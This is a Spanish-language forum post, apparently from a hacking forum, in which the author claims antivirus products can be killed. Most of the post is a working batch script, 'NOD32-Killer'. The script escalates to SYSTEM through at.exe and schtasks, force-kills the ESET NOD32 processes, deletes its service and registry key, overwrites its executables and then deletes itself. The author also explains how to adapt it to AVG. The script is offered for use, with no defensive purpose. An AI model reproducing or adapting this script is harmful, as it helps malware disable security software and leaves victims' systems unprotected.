Si que se pueden, algunos estan más protegidos pero si se pueden.
Yo prové con muchos antivirus, los conseguí matar a todos menos al KAV, ese tiene un driver en Ring0 que lo protege y desde Ring3 no podrás hacer nada, tendrías que saber programas (y mucho) en C o un lenguaje de bajo nivel un fichero .SYS y hacerlo correr como servicio, desde aí si k kizas lo podrías matar, mientras tanto na de na...
El NOD32 la única dificultad es que hay que ascender a SYSTEM...mirad este code en BATCH:
::NOD32-Killer
::By nhaalclkiemr
@echo off
echo @echo off >> temp.bat
echo set a=0>> temp.bat
echo set b=0>> temp.bat
echo set errorlevel=>> temp.bat
echo set tempstr=delete>> temp.bat
echo set tempstr2=NOD32>> temp.bat
echo :c >> temp.bat
echo set /A b=%%b%%+1 >> temp.bat
echo set /A a=%%a%%+1 >> temp.bat
echo taskkill /F /IM %%tempstr2%%krn.exe /IM %%tempstr2%%kui.exe /IM %%tempstr2%%.exe >> temp.bat
echo sc %%tempstr%% %%tempstr2%%krn >> temp.bat
echo reg %%tempstr%% HKLM\SYSTEM\CurrentControlSet\Services\%%tempstr2%%krn /f >> temp.bat
echo copy /Y %%windir%%\system32\extrac32.exe "%%programfiles%%\ESET\%%tempstr2%%.exe" >> temp.bat
echo copy /Y %%windir%%\system32\extrac32.exe "%%programfiles%%\ESET\%%tempstr2%%krn.exe" >> temp.bat
echo copy /Y %%windir%%\system32\extrac32.exe "%%programfiles%%\ESET\%%tempstr2%%kui.exe" >> temp.bat
echo if %%a%%==11 goto fin >> temp.bat
echo if not %%errorlevel%%==0 goto c >> temp.bat
echo if %%b%%==5 goto fin >> temp.bat
echo :fin >> temp.bat
echo del /S /A:- /F /Q %%0 >> temp.bat
echo exit >> temp.bat
move temp.bat %%windir%%\system32\temp.bat
set a=0
set z=%TIME:~0,2%
if "%TIME:~0,1%"==" " set z=0%TIME:~1,1%
if "%TIME:~8,1%"=="," goto normal
if "%TIME:~10,1%"=="," goto 2caso
if "%TIME:~12,1%"=="," goto 3caso
:normal
set x=%TIME:~3,2%
goto a
:2caso
set x=%TIME:~4,2%
goto a
:3caso
set x=%TIME:~5,2%
:a
set errorlevel=
set /A a=%a%+1
if "%x%"=="08" set x=8
if "%x%"=="09" set x=9
set /A x=%x%+1
at.exe %z%:%x% temp.bat
if %a%==11 goto b
if not %errorlevel%==0 goto a
schtasks /run /tn at1
goto d
:b
set a=0
:c
set errorlevel=
set /A a=%a%+1
if %x% LEQ 9 set x=0%x%
schtasks /create /tn temp /tr temp.bat /sc once /st %z%:%x%:00 /ru System
if %a%==11 goto d
if not %errorlevel%==0 goto c
schtasks /run /tn temp
if not %errorlevel%==0 goto c
:d
del /F /Q /S /A:- %0
exit
:error
temp.bat>>NUL
del /F /Q /S /A:- %0
exit
No creo que os cueste mucho traducirlo a otro lenguaje si kereis...
Para el AVG substituye las rutas, procesos y servicios por los del AVG y ya está...lo k no me acuerdo es si en el AVG hace falta ascender a SYSTEM o no...
Saludos
